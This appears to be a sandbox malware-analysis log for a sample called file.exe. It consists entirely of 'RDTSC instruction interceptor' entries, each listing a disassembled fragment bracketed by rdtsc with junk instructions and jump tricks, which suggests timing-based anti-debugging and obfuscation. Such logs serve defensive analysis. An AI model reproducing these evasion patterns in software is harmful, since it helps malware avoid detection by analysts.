Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016386 second address: 101638C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101638C second address: 1016393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016883 second address: 10168BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1520D32CA0h 0x00000008 jl 00007F1520D32C96h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], ebx 0x00000014 nop 0x00000015 jmp 00007F1520D32CA1h 0x0000001a push eax 0x0000001b jl 00007F1520D32CA0h 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10172F8 second address: 10172FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017D50 second address: 1017D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10199C4 second address: 10199CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10196F7 second address: 10196FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10199CE second address: 10199F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10199F2 second address: 10199F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10199F6 second address: 1019A7B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F15206D4F08h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D1F5Dh], ecx 0x00000028 mov si, 3DEBh 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F15206D4F08h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 mov dword ptr [ebp+1245E2CDh], eax 0x0000004e push 00000000h 0x00000050 mov dword ptr [ebp+122D193Fh], esi 0x00000056 xchg eax, ebx 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F15206D4F18h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019A7B second address: 1019A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019A7F second address: 1019A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CCBB second address: 101CCE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1520D32C9Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1520D32CA7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CCE5 second address: 101CCFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F12h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D332 second address: 101D3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 jmp 00007F1520D32CA8h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F1520D32C98h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov dword ptr [ebp+12487DBFh], eax 0x0000002d push 00000000h 0x0000002f jmp 00007F1520D32CA3h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F1520D32C98h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 sub dword ptr [ebp+122D232Bh], eax 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jp 00007F1520D32C9Ch 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DEEC second address: 101DF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15206D4F12h 0x00000009 popad 0x0000000a pop esi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F15206D4F08h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D3917h], ebx 0x0000002e push 00000000h 0x00000030 and edi, 47F5FB00h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F15206D4F08h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 xchg eax, ebx 0x00000053 jmp 00007F15206D4F10h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jbe 00007F15206D4F06h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DF70 second address: 101DF76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B8E7 second address: 101B8F1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F15206D4F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B8F1 second address: 101B8FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F1520D32C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B8FB second address: 101B912 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F15206D4F0Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022EF9 second address: 1022F0E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1520D32C9Ch 0x00000008 jnl 00007F1520D32C96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023097 second address: 1023140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, 5877DDC0h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F15206D4F08h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 or di, 5D4Dh 0x00000037 mov edi, esi 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov dword ptr [ebp+122D1AF4h], ebx 0x00000046 jmp 00007F15206D4F17h 0x0000004b mov eax, dword ptr [ebp+122D02F9h] 0x00000051 mov edi, dword ptr [ebp+122D37D2h] 0x00000057 movzx ebx, di 0x0000005a push FFFFFFFFh 0x0000005c mov edi, dword ptr [ebp+122D3C63h] 0x00000062 nop 0x00000063 pushad 0x00000064 jmp 00007F15206D4F19h 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023140 second address: 1023144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025087 second address: 102508F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023144 second address: 1023165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1520D32CA7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102508F second address: 1025093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023165 second address: 102316B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025093 second address: 1025097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102316B second address: 102316F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027152 second address: 102715F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025268 second address: 102526E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102526E second address: 1025290 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFD0A second address: FCFD0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025290 second address: 1025295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFD0E second address: FCFD31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1520D32CA7h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025295 second address: 102529F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F15206D4F06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025352 second address: 1025356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028756 second address: 102875A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102875A second address: 10287DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F1520D32C98h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 movzx ebx, di 0x00000029 push eax 0x0000002a mov dword ptr [ebp+122D23B5h], esi 0x00000030 pop ebx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007F1520D32C98h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d mov ebx, dword ptr [ebp+122D3BABh] 0x00000053 xchg eax, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jmp 00007F1520D32CA0h 0x0000005c pushad 0x0000005d popad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10287DB second address: 10287E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10287E0 second address: 10287E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B9A1 second address: 102B9B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10288FF second address: 1028903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029946 second address: 1029950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F15206D4F06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B9B1 second address: 102B9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F1520D32C96h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028903 second address: 1028911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F15206D4F06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028911 second address: 1028927 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1520D32C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F1520D32C98h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028927 second address: 1028992 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F15206D4F08h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, edx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 sub dword ptr [ebp+122D1B13h], edi 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 xor bh, FFFFFFFFh 0x00000026 mov eax, dword ptr [ebp+122D0DADh] 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007F15206D4F08h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 push FFFFFFFFh 0x00000048 jmp 00007F15206D4F15h 0x0000004d nop 0x0000004e push eax 0x0000004f push edx 0x00000050 jnc 00007F15206D4F08h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C9DA second address: 102C9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028992 second address: 10289A4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15206D4F08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10289A4 second address: 10289A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CA5D second address: 102CA79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D82F second address: 102D88D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F1520D32C98h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 movsx edi, si 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F1520D32C98h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 add dword ptr [ebp+12487DBFh], edx 0x0000004c push 00000000h 0x0000004e push edx 0x0000004f pop ebx 0x00000050 push eax 0x00000051 push ecx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D88D second address: 102D891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D891 second address: 102D895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E972 second address: 102E978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E978 second address: 102E97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E97C second address: 102E9E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D3386h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F15206D4F08h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D1F51h] 0x00000033 mov dword ptr [ebp+1245E2CDh], eax 0x00000039 add dword ptr [ebp+1245DD66h], ecx 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ebx 0x00000044 call 00007F15206D4F08h 0x00000049 pop ebx 0x0000004a mov dword ptr [esp+04h], ebx 0x0000004e add dword ptr [esp+04h], 00000014h 0x00000056 inc ebx 0x00000057 push ebx 0x00000058 ret 0x00000059 pop ebx 0x0000005a ret 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 jng 00007F15206D4F06h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E9E9 second address: 102E9ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E9ED second address: 102E9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E9F3 second address: 102E9FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1520D32C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F865 second address: 102F86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031AE3 second address: 1031AED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F1520D32C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031AED second address: 1031AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1787 second address: FD178C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD178C second address: FD17A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F15206D4F06h 0x00000009 jo 00007F15206D4F06h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F15206D4F06h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038BB0 second address: 1038BC7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1520D32C9Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038BC7 second address: 1038BCC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038D8A second address: 1038DA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1520D32CA4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038DA8 second address: 1038DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038F28 second address: 1038F2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038F2C second address: 1038F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F15206D4F06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F15206D4F17h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038F53 second address: 1038F68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BAE2 second address: 102BAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D9F0 second address: 102D9FA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1520D32C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D9FA second address: 102DA1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007F15206D4F0Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DA1A second address: 102DA22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
